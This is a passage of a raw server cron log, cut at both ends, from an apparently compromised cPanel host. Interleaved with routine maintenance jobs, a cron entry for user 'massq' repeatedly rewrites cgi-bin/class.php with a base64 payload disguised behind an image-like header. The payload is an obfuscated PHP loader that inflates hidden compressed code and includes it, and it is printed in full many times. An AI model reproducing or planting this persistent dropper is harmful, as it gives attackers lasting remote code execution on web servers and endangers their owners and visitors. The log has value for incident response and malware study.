yLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:40:01 server CROND[715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:40:01 server CROND[717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:41:01 server CROND[1703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:41:01 server CROND[1704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:41:01 server CROND[1705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:42:02 server CROND[2133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:42:02 server CROND[2134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:42:02 server CROND[2135]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:42:02 server CROND[2136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:43:01 server CROND[2622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:43:01 server CROND[2623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:43:01 server CROND[2624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:44:01 server CROND[3032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:44:01 server CROND[3033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:44:01 server CROND[3034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:45:01 server CROND[3422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:45:01 server CROND[3424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:45:01 server CROND[3426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:45:01 server CROND[3432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:45:01 server CROND[3433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:45:01 server CROND[3434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:45:01 server CROND[3435]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:46:01 server CROND[4259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:46:01 server CROND[4260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:46:01 server CROND[4261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:47:01 server CROND[4648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:47:01 server CROND[4649]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  4 02:47:01 server CROND[4651]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  4 02:47:01 server CROND[4650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:47:01 server CROND[4652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:47:17 server crontab[4889]: (root) LIST (root)
Sep  4 02:47:17 server crontab[4891]: (root) LIST (root)
Sep  4 02:47:22 server crontab[5012]: (root) LIST (root)
Sep  4 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  4 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  4 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  4 02:48:01 server CROND[5940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:48:01 server CROND[5941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:48:01 server CROND[5942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:49:01 server CROND[6525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:49:01 server CROND[6524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:49:01 server CROND[6526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:50:01 server CROND[6992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:50:01 server CROND[6994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:50:01 server CROND[6996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:50:01 server CROND[7002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:50:01 server CROND[7008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:50:01 server CROND[7010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:50:01 server CROND[7013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:50:01 server CROND[7011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:50:01 server CROND[7015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:51:01 server CROND[7902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:51:01 server CROND[7903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:51:01 server CROND[7904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:52:01 server CROND[8273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:52:01 server CROND[8274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAo